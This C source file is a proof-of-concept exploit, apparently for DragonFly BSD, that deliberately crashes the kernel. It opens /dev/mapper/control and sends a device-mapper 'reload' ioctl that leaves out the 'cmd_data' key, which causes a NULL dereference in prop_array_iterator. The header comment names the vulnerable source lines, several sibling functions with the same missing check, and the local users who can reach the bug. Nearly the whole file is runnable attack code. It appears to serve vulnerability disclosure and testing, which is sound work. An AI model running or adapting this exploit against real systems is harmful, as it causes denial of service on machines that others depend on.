DF-2229 / df2229.c
/* * df2229.c - prop_array_iterator(NULL) panic PoC (DF-2229, via dm ioctl). * * The device-mapper NETBSD_DM_IOCTL routes "reload" -> dm_table_load_ioctl, * which does: * cmd_array = prop_dictionary_get(dm_dict, DM_IOCTL_CMD_DATA); // NULL if absent * iter = prop_array_iterator(cmd_array); // <-- NULL deref * at sys/dev/disk/dm/dm_ioctl.c:707-708, BEFORE the device-lookup check. * prop_array_iterator() (sys/libprop/prop_array.c:538) dereferences * pa->pa_rwlock with NO prop_object_is_array() guard, so passing NULL * (pa=NULL) -> mtx_lock(&pa->pa_rwlock) faults at a near-NULL address -> * kernel panic. (Three sibling accessors -- prop_array_make_immutable, * prop_array_mutable, prop_array_externalize -- have the same missing guard.) * * This PoC builds a prop_dictionary with command="reload", a valid version * array [4,16,0] (passes dm_check_version), but OMITS the "cmd_data" key, * so prop_dictionary_get returns NULL -> prop_array_iterator(NULL) -> panic. * * /dev/mapper/control is created when the dm module is loaded and is 0640 * root:operator (local DoS for operator-group users; root for sure). * * Build: cc -o df2229 df2229.c -lprop * Run: ./df2229 (kldload dm first; needs /dev/mapper/control) */ #include <libprop/proplib.h> #include <sys/ioctl.h> #include <sys/ioccom.h> #include <sys/types.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> /* real plistref (sys/libprop/plistref.h): { void *pref_plist; size_t pref_len; } */ struct my_plistref { void *pref_plist; size_t pref_len; }; #define DM_IOCTL 0xfd #define MY_NETBSD_DM_IOCTL _IOWR(DM_IOCTL, 0, struct my_plistref) /* = 0xc010fd00 */ #define DM_VERSION_MAJOR 4 #define DM_VERSION_MINOR 16 #define DM_VERSION_PATCHLEVEL 0 int main(void) { int fd = open("/dev/mapper/control", O_RDWR); if (fd < 0) { perror("open /dev/mapper/control"); return 2; } /* Build the plist: command="reload", version=[4,16,0], name="x". Crucially, NO "cmd_data" key. */ prop_dictionary_t dict = prop_dictionary_create(); prop_dictionary_set_cstring(dict, "command", "reload"); prop_dictionary_set_cstring(dict, "name", "df2229dev"); prop_array_t ver = prop_array_create(); prop_array_set_uint32(ver, 0, DM_VERSION_MAJOR); prop_array_set_uint32(ver, 1, DM_VERSION_MINOR); prop_array_set_uint32(ver, 2, DM_VERSION_PATCHLEVEL); prop_dictionary_set(dict, "version", ver); prop_object_release(ver); prop_dictionary_set_uint32(dict, "flags", 0); /* Send via the plistref ioctl. prop_dictionary_send_ioctl packs the dict into a plistref and issues the ioctl number we pass. We must pass the SAME NETBSD_DM_IOCTL number the kernel expects. */ printf("df2229: sending NETBSD_DM_IOCTL reload WITHOUT cmd_data " "(expect prop_array_iterator(NULL) panic)\n"); fflush(stdout); int r = prop_dictionary_send_ioctl(dict, fd, MY_NETBSD_DM_IOCTL); printf("df2229: prop_dictionary_send_ioctl returned %d (if we got here, no panic)\n", r); prop_object_release(dict); close(fd); return 0; } |